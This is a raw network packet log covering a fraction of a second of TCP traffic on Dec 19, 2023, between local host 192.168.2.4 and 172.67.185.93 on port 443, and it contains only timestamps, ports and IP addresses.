Dec 19, 2023 03:22:41.050287962 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.050297022 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.050307989 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.050328016 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.052108049 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.052122116 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.052159071 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.052164078 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.052191019 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.052210093 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.053935051 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.053955078 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.054004908 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.054013014 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.054035902 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.054049015 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.055349112 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.055365086 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.055416107 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.055421114 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.055458069 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.057121038 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.057137012 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.057178974 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.057183027 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.057209015 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.057226896 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.058917046 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.058932066 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.058984995 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.058989048 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.059020042 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.060811043 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.060833931 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.060868025 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.060873032 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.060921907 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.060936928 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.062074900 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.062089920 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.062145948 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.062150002 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.062182903 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.063946962 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.063961029 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.064013004 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.064018011 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.064049959 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.085493088 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.085509062 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.085576057 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.085582972 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.085616112 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.086997032 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.087011099 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.087049007 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.087053061 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.087086916 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.088323116 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.088336945 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.088371992 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.088376999 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.088397980 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.088418007 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.090051889 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.090069056 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.090105057 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.090110064 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.090133905 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.090159893 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.091258049 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.091275930 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.091310978 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.091315031 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.091340065 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.091358900 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.093606949 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.093621969 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.093682051 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.093687057 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.093727112 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.094885111 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.094898939 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.094952106 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.094958067 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.094991922 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.096308947 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.096323013 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.096374989 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.096380949 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.096412897 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.098104000 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.098124027 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.098186016 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.098195076 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.098232031 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.099801064 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.099814892 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.099868059 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.099873066 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.099910021 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.101052046 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.101066113 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.101118088 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.101121902 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.101151943 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.102526903 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.102540970 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.102598906 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.102607012 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.102647066 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.103521109 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.103535891 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.103573084 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.103578091 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.103604078 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.103621960 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.105288982 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.105303049 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.105360031 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.105365038 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.105393887 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.107064009 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.107085943 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.107120037 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.107124090 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.107155085 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.107172012 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.108805895 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.108819962 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.108869076 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.108874083 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.108905077 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.110532045 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.110546112 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.110599995 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.110604048 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.110640049 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.111814976 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.111829042 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.111876011 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.111881018 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.111916065 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.113501072 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.113514900 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.113569975 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.113575935 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.113610983 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.115941048 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.115956068 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.116005898 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.116010904 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.116044044 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.117063999 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.117078066 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.117130041 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.117132902 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.117173910 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.118757963 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.118772030 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.118820906 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.118827105 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.118861914 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.120326996 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.120341063 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.120377064 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.120381117 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.120404005 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.120423079 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.122175932 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.122195005 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.122250080 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.122258902 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.122297049 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.123856068 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.123872042 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.123924971 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.123930931 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.123960972 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.123975039 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.125252008 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.125267029 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.125314951 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.125319958 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.125354052 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.127002001 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.127016068 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.127063036 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.127068043 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.127104044 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.128743887 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.128757954 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.128813982 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.128822088 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.128856897 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.130553007 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.130567074 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.130614042 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.130618095 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.130650997 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.133158922 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.133172989 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.133209944 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.133214951 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.133241892 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.133259058 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.135418892 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.135432959 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.135468006 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.135472059 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.135502100 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.135509968 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.136521101 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.136534929 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.136573076 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.136578083 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.136594057 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.136614084 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.137584925 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.137598991 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.137646914 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.137651920 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.137686014 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.138972044 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.138986111 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.139044046 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.139049053 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.139087915 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.140625954 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.140649080 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.140676022 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.140678883 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.140706062 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.140727043 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.141731977 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.141746044 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.141788960 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.141793966 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.141827106 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.143052101 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.143065929 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.143110991 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.143115997 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.143151045 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.144660950 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.144675016 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.144706964 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.144710064 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.144732952 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.144752979 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.145564079 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.145582914 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.145612001 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.145616055 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.145641088 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.145656109 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.146922112 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.146935940 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.146981001 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.146995068 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.147008896 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.147032022 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.148485899 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.148499966 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.148549080 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.148561001 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.148597956 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.149703026 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.149720907 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.149755001 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.149761915 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.149785995 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.149804115 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.151175022 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.151189089 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.151232004 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.151240110 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.151274920 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.152589083 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.152602911 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.152637005 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.152642012 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.152664900 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.152676105 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.153842926 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.153856993 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.153892994 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.153898001 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.153923035 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.153934956 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.155050039 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.155064106 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.155105114 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.155109882 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.155134916 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.155152082 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.156330109 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.156344891 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.156378031 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.156382084 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.156407118 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.156419039 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.157531977 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.157546997 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.157591105 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.157598019 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.157633066 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.159081936 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.159095049 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.159136057 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.159141064 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.159173965 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.160393000 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.160407066 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.160446882 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.160451889 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.160478115 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.160492897 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.161869049 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.161881924 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.161926031 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.161928892 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.161962032 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.163136959 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.163150072 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.163182020 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.163187981 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.163212061 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.163229942 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.164514065 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.164527893 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.164568901 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.164573908 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.164608002 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.166023970 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.166043043 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.166075945 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.166079998 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.166104078 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.166121960 CET	49752	443	192.168.2.4	172.67.185.93
